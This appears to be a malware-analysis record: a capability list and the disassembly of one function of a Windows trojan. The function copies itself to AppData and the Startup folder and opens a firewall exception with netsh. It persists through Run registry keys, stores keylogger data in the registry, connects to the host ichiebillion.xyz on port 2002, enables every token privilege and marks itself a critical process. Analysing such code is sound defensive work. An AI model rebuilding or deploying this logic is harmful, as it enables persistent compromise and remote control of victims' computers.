Function at 0x140001470
Capabilities:
Acquire debug privileges
Check mutex and terminate process on windows
Check mutex on windows
Connect socket
Copy file
Create thread
Decode data using base64 via winapi
Delete registry value
Encode data using base64 via winapi
Get common file path
Initialize winsock library
Persist via run registry key
Query or enumerate registry value
Resolve dns
Set registry value
Terminate process

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x618]
sub rsp, 0x718
mov rax, qword [0x140049010]
xor rax, rsp
mov qword [rbp + 0x600], rax
lea r8, str.def9b6cd3f2b0c43097dfbc918862b82
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov rbx, rax
test rax, rax
je 0x1400014d9
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1400014c2
lea rcx, str.mutex_already_exists__n
jmp 0x1400014e0
lea rcx, str.mutex_create_success__n
call fcn.140001120
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400014e5
lea rcx, str.mutex_create_error__n
call fcn.140001120
mov eax, dword [0x1400421e0]
lea rcx, [rbp + 0x3f0]
movups xmm0, xmmword [str.server.exe]
mov dword [rsp + 0x70], eax
xor edx, edx
movzx eax, word [0x1400421e4]
mov r8d, 0x208
movups xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x74], ax
call fcn.14000a9c0
xor edx, edx
lea rcx, [rbp - 0x30]
mov r8d, 0x208
call fcn.14000a9c0
xor edx, edx
lea rcx, [rbp + 0x1e0]
mov r8d, 0x208
call fcn.14000a9c0
mov r8d, 0x104
lea rdx, [rbp + 0x1e0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x1400015eb
mov r9d, 1
lea rdx, [rbp + 0x3f0]
xor ecx, ecx
lea r8d, [r9 + 0x19]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea rdx, [rbp + 0x3f0]
mov ebx, eax
lea rcx, str.szAppDataPath_s_n
call fcn.140006a60
test ebx, ebx
je 0x1400015eb
lea rax, [rsp + 0x60]
mov edx, 0xc8
lea r9, [rbp + 0x3f0]
mov qword [rsp + 0x20], rax
lea r8, str._s_s
lea rcx, [rbp - 0x30]
call fcn.140006ac0
lea rax, [rbp + 0x1e0]
lea r8, [rbp - 0x30]
sub r8, rax
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x1400015d7
add rax, 2
test ecx, ecx
jne 0x1400015c3
test edx, edx
jne 0x1400017a6
lea rcx, str.same_path__Go_ahead__n
call fcn.140006a60
mov qword [rsp + 0x730], rsi
lea rcx, [rbp - 0x30]
mov qword [rsp + 0x738], rdi
xor edx, edx
mov qword [rsp + 0x740], r12
mov r8d, 0x208
mov qword [rsp + 0x710], r15
call fcn.14000a9c0
mov r8d, 0x104
lea rdx, [rbp - 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x1400016ee
xor edx, edx
lea rcx, [rbp + 0x1e0]
mov r8d, 0x208
call fcn.14000a9c0
mov edx, 0x5c
lea rcx, [rbp - 0x30]
call fcn.14000a478
lea rcx, [rax + 2]
test rax, rax
jne 0x140001665
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x1e0]
sub rdx, rcx
nop
movzx eax, word [rcx]
mov word [rdx + rcx], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x140001670
lea rdx, [rbp + 0x1e0]
lea rcx, str.szFileName___s_n
call fcn.140006a60
xor edx, edx
lea rcx, [rbp + 0x3f0]
mov r8d, 0x208
call fcn.14000a9c0
lea rax, [rbp + 0x1e0]
mov edx, 0xc8
lea r9, [rbp - 0x30]
mov qword [rsp + 0x20], rax
lea r8, str.netsh_firewall_add_allowedprogram__s___s__ENABLE
lea rcx, [rbp + 0x3f0]
call fcn.140006ac0
lea rdx, [rbp + 0x3f0]
lea rcx, str.cmdline___s_n
call fcn.140006a60
lea rcx, [rbp + 0x3f0]
call fcn.140006b90
movaps xmm0, xmmword [str.def9b6cd3f2b0c43097dfbc918862b82]
lea rcx, [rbp - 0x30]
movaps xmm1, xmmword [0x1400414b0]
xor edx, edx
movzx eax, word [0x1400414e0]
mov r8d, 0x208
movaps xmmword [rbp - 0x80], xmm0
movaps xmm0, xmmword [0x1400414c0]
movaps xmmword [rbp - 0x70], xmm1
movaps xmm1, xmmword [0x1400414d0]
movaps xmmword [rbp - 0x60], xmm0
movaps xmmword [rbp - 0x50], xmm1
mov word [rbp - 0x40], ax
call fcn.14000a9c0
mov r8d, 0x104
lea rdx, [rbp - 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor r15d, r15d
lea rdi, [r15 - 1]
test eax, eax
je 0x14000192f
lea rax, [rsp + 0x60]
mov r9d, 0x20006
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x1400017d4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.RegOpenKeyEx
lea rcx, str._s_Error__nError_Code_Is:_d_n
call fcn.140006a60
mov ebx, r15d
jmp 0x140001853
xor r8d, r8d
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x1400015eb
lea rcx, [rbp - 0x30]
call fcn.140006b90
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, [rbp - 0x30]
mov rax, rdi
nop dword [rax + rax]
cmp word [rcx + rax*2 + 2], r15w
lea rax, [rax + 1]
jne 0x1400017e0
mov rcx, qword [rsp + 0x60]
lea eax, [rax*2 + 1]
mov dword [rsp + 0x28], eax
lea rdx, [rbp - 0x80]
lea rax, [rbp - 0x30]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x60]
test eax, eax
je 0x140001848
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.RegSetValueEx
lea rcx, str._s_Error__nError_Code_Is:_d_n
call fcn.140006a60
mov ebx, r15d
jmp 0x140001853
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, 1
lea rax, [rsp + 0x50]
mov r9d, 0x20006
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x1400018a1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.RegOpenKeyEx
lea rcx, str._s_Error__nError_Code_Is:_d_n
call fcn.140006a60
xor al, al
jmp 0x14000191f
lea rcx, [rbp - 0x30]
mov rax, rdi
nop dword [rax + rax]
cmp word [rcx + rax*2 + 2], r15w
lea rax, [rax + 1]
jne 0x1400018b0
mov rcx, qword [rsp + 0x50]
lea eax, [rax*2 + 1]
mov dword [rsp + 0x28], eax
lea rdx, [rbp - 0x80]
lea rax, [rbp - 0x30]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
test eax, eax
je 0x140001917
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.RegSetValueEx
lea rcx, str._s_Error__nError_Code_Is:_d_n
call fcn.140006a60
xor al, al
jmp 0x14000191f
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
test ebx, ebx
jne 0x140001a0f
test al, al
jne 0x140001a0f
mov eax, dword [0x1400421e0]
lea rcx, [rbp - 0x30]
movups xmm0, xmmword [str.server.exe]
mov dword [rsp + 0x70], eax
xor edx, edx
movzx eax, word [0x1400421e4]
mov r8d, 0x208
movups xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x74], ax
call fcn.14000a9c0
xor edx, edx
lea rcx, [rbp + 0x1e0]
mov r8d, 0x208
call fcn.14000a9c0
xor edx, edx
lea rcx, [rbp + 0x3f0]
mov r8d, 0x208
call fcn.14000a9c0
mov r8d, 0x104
lea rdx, [rbp - 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140001a0f
mov r9d, 1
lea rdx, [rbp + 0x1e0]
xor ecx, ecx
lea r8d, [r9 + 6]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea rdx, [rbp + 0x1e0]
mov ebx, eax
lea rcx, str.szStartupPath_s_n
call fcn.140006a60
test ebx, ebx
je 0x140001a0f
lea rax, [rsp + 0x60]
mov edx, 0xc8
lea r9, [rbp + 0x1e0]
mov qword [rsp + 0x20], rax
lea r8, str._s_s
lea rcx, [rbp + 0x3f0]
call fcn.140006ac0
xor r8d, r8d
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
call fcn.140001190
xor r9d, r9d
mov dword [rsp + 0x50], r15d
lea rax, [rsp + 0x50]
mov rbx, r15
lea rcx, str.Hacked
mov qword [rsp + 0x20], rax
lea edx, [r9 + 8]
lea r8d, [r9 + 1]
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
mov eax, dword [rsp + 0x50]
test eax, eax
je 0x140001ae3
mov ecx, eax
call fcn.1400125b0
mov r8d, dword [rsp + 0x50]
xor edx, edx
mov rcx, rax
mov rbx, rax
call fcn.14000a9c0
mov edx, 8
lea rax, [rsp + 0x50]
mov r9, rbx
mov qword [rsp + 0x20], rax
lea rcx, str.Hacked
lea r8d, [rdx - 7]
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
cmp byte [rbx], r15b
je 0x140001ae3
mov r8d, 1
lea eax, [r8 - 1]
movzx eax, byte [rax + rbx]
cmp al, 0xd
je 0x140001aa6
cmp al, 0xa
je 0x140001aa6
inc r8d
jmp 0x140001ad9
mov eax, r8d
mov ecx, r8d
lea rdx, [rax + rbx]
movzx eax, byte [rax + rbx]
test al, al
je 0x140001ad2
nop dword [rax + rax]
inc ecx
mov byte [rdx - 1], al
lea rdx, [rcx + rbx]
mov eax, ecx
movzx eax, byte [rdx]
test al, al
jne 0x140001ac0
mov eax, ecx
mov byte [rax + rbx - 1], r15b
lea eax, [r8 - 1]
cmp byte [rax + rbx], r15b
jne 0x140001a91
mov rdx, rbx
lea rcx, str.encode_data:__hs__n
call fcn.140006a60
xor r9d, r9d
mov qword [rsp + 0x30], r15
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], r15
xor edx, edx
mov dword [rsp + 0x60], r15d
mov rcx, rbx
mov qword [rsp + 0x20], rax
lea r8d, [r9 + 1]
mov rsi, r15
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov eax, dword [rsp + 0x60]
test eax, eax
je 0x140001b58
mov ecx, eax
call fcn.1400125b0
mov rsi, rax
mov qword [rsp + 0x30], r15
xor edx, edx
mov qword [rsp + 0x28], r15
lea rax, [rsp + 0x60]
mov r9, rsi
mov rcx, rbx
mov qword [rsp + 0x20], rax
lea r8d, [rdx + 1]
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov rdx, rsi
lea rcx, str.decode_data:__hs__n
call fcn.140006a60
mov rcx, rbx
call fcn.14001053c
mov rcx, rsi
call fcn.14001053c
call fcn.1400043d0
mov qword [rsp + 0x40], r15
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rdx, str.Softwaredef9b6cd3f2b0c43097dfbc918862b82
mov qword [rsp + 0x30], r15
xor r9d, r9d
mov dword [rsp + 0x28], 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x20], r15d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140001c10
lea rcx, str.test
cmp word [rcx + rdi*2 + 2], r15w
lea rdi, [rdi + 1]
jne 0x140001bc2
lea eax, [rdi*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], eax
lea rdx, str._kl_
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, str.keylogger_save_OK__n
call fcn.140006a60
xor edx, edx
lea rcx, [rbp - 0x30]
mov r8d, 0x200
call fcn.14000a9c0
lea rax, [rsp + 0x50]
mov dword [rsp + 0x60], 0x200
mov r9d, 1
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.Softwaredef9b6cd3f2b0c43097dfbc918862b82
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140001caa
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rdx, str._kl_
lea rax, [rbp - 0x30]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rsp + 0x50]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x140001caa
cmp dword [rsp + 0x60], 0x200
ja 0x140001caa
lea rdx, [rbp - 0x30]
lea rcx, str.keylogger_getValue:__s__n
call fcn.140006a60
lea rax, [rsp + 0x60]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.Softwaredef9b6cd3f2b0c43097dfbc918862b82
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140001d04
mov rcx, qword [rsp + 0x60]
lea rdx, str._kl_
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rsp + 0x60]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x140001d04
lea rcx, str.keylogger_delete_OK__n
call fcn.140006a60
mov ecx, 0x202
lea rdx, [rbp - 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov r12d, 2
test eax, eax
je 0x140001d30
mov edx, eax
lea rcx, str.WSAStartup_failed:__d_n
call fcn.140001120
jmp 0x140001e8e
lea rcx, str.ichiebillion.xyz
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rsi, rax
test rax, rax
jne 0x140001d92
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
test eax, eax
je 0x140001d92
cmp eax, 0x2af9
jne 0x140001d67
lea rcx, str.Host_not_found_n
call fcn.140001120
jmp 0x140001e8e
cmp eax, 0x2afc
jne 0x140001d7f
lea rcx, str.No_data_record_found_n
call fcn.140001120
jmp 0x140001e8e
mov edx, eax
lea rcx, str.Function_failed_with_error:__ld_n
call fcn.140001120
jmp 0x140001e8e
cmp word [rsi + 0x10], r12w
jne 0x140001e8e
mov rax, qword [rsi + 0x18]
mov qword [rsp + 0x748], r14
mov r14d, r15d
cmp qword [rax], r14
je 0x140001e86
mov rdi, r15
nop dword [rax + rax]
mov rax, qword [rdi + rax]
lea rdi, [rdi + 8]
inc r14d
mov ebx, dword [rax]
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov edx, r14d
lea rcx, str._tIP_Address__d:__s_n
mov r8, rax
call fcn.140001120
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_inet_ntoa]
xor r8d, r8d
mov ecx, r12d
mov rbx, rax
lea edx, [r8 + 1]
call qword [sym.imp.WS2_32.dll_socket]
mov qword [0x14004bb98], rax
cmp rax, 0xffffffffffffffff
je 0x140001e78
xor eax, eax
mov ecx, 0x7d2
mov qword [rsp + 0x60], rax
mov word [rsp + 0x60], r12w
mov qword [rsp + 0x68], rax
call qword [sym.imp.WS2_32.dll_htons]
mov rcx, rbx
mov word [rsp + 0x62], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov rcx, qword [0x14004bb98]
lea rdx, [rsp + 0x60]
mov r8d, reloc.WS2_32.dll_recv
mov dword [rsp + 0x64], eax
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x140001e78
mov qword [rsp + 0x28], r15
lea r8, [0x140006b20]
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rax, qword [rsi + 0x18]
cmp qword [rax + rdi], r15
jne 0x140001dc0
mov r14, qword [rsp + 0x748]
mov qword [rsp + 0x60], r15
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x60]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rdi, qword [rsp + 0x738]
mov rsi, qword [rsp + 0x730]
test eax, eax
je 0x140002084
lea rcx, str.SeAssignPrimaryTokenPrivilege
mov qword [rbp + 0xc0], r15
mov qword [rbp - 0x28], rcx
lea rax, str.SeCreateTokenPrivilege
lea rcx, str.SeLockMemoryPrivilege
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x20], rcx
mov rbx, r15
lea rcx, str.SeIncreaseQuotaPrivilege
mov qword [rbp - 0x18], rcx
lea rcx, str.SeUnsolicitedInputPrivilege
mov qword [rbp - 0x10], rcx
lea rcx, str.SeMachineAccountPrivilege
mov qword [rbp - 8], rcx
lea rcx, str.SeTcbPrivilege
mov qword [rbp], rcx
lea rcx, str.SeSecurityPrivilege
mov qword [rbp + 8], rcx
lea rcx, str.SeTakeOwnershipPrivilege
mov qword [rbp + 0x10], rcx
lea rcx, str.SeLoadDriverPrivilege
mov qword [rbp + 0x18], rcx
lea rcx, str.SeSystemProfilePrivilege
mov qword [rbp + 0x20], rcx
lea rcx, str.SeSystemtimePrivilege
mov qword [rbp + 0x28], rcx
lea rcx, str.SeProfileSingleProcessPrivilege
mov qword [rbp + 0x30], rcx
lea rcx, str.SeIncreaseBasePriorityPrivilege
mov qword [rbp + 0x38], rcx
lea rcx, str.SeCreatePagefilePrivilege
mov qword [rbp + 0x40], rcx
lea rcx, str.SeCreatePermanentPrivilege
mov qword [rbp + 0x48], rcx
lea rcx, str.SeBackupPrivilege
mov qword [rbp + 0x50], rcx
lea rcx, str.SeRestorePrivilege
mov qword [rbp + 0x58], rcx
lea rcx, str.SeShutdownPrivilege
mov qword [rbp + 0x60], rcx
lea rcx, str.SeDebugPrivilege
mov qword [rbp + 0x68], rcx
lea rcx, str.SeAuditPrivilege
mov qword [rbp + 0x70], rcx
lea rcx, str.SeSystemEnvironmentPrivilege
mov qword [rbp + 0x78], rcx
lea rcx, str.SeChangeNotifyPrivilege
mov qword [rbp + 0x80], rcx
lea rcx, str.SeRemoteShutdownPrivilege
mov qword [rbp + 0x88], rcx
lea rcx, str.SeUndockPrivilege
mov qword [rbp + 0x90], rcx
lea rcx, str.SeSyncAgentPrivilege
mov qword [rbp + 0x98], rcx
lea rcx, str.SeEnableDelegationPrivilege
mov qword [rbp + 0xa0], rcx
lea rcx, str.SeManageVolumePrivilege
mov qword [rbp + 0xa8], rcx
lea rcx, str.SeImpersonatePrivilege
mov qword [rbp + 0xb0], rcx
lea rcx, str.SeCreateGlobalPrivilege
mov qword [rbp + 0xb8], rcx
xor ecx, ecx
lea r8, [rsp + 0x54]
mov rdx, rax
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], rcx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x60]
lea r8, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x28], r15
xor edx, edx
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x5c], r12d
mov qword [rsp + 0x20], r15
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
lea rbx, [rbx + 1]
mov rax, qword [rbp + rbx*8 - 0x30]
test rax, rax
jne 0x140002030
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r15, qword [rsp + 0x710]
mov rbx, rax
mov r12, qword [rsp + 0x740]
test rax, rax
jne 0x1400020bb
lea rcx, str.OpenProcess_error__n
jmp 0x140002123
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtSetInformationProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x1400020e6
lea rcx, str.GetProcAddress_error__n
jmp 0x140002123
mov r9d, 4
mov dword [rsp + 0x60], 1
lea r8, [rsp + 0x60]
mov rcx, rbx
lea edx, [r9 + 0x19]
call rax
test eax, eax
jns 0x14000211c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.NtSetInformationProcess_ProcessBreakOnTermination_error:__d___n
call fcn.140001120
jmp 0x140002128
lea rcx, str.NtSetInformationProcess_ProcessBreakOnTermination_success__n
call fcn.140001120
lea rcx, str.all_end__n
call fcn.140001120
lea rcx, str.pause
call fcn.140010404
xor eax, eax
mov rcx, qword [rbp + 0x600]
xor rcx, rsp
call fcn.1400076f0
add rsp, 0x718
pop rbx
pop rbp
ret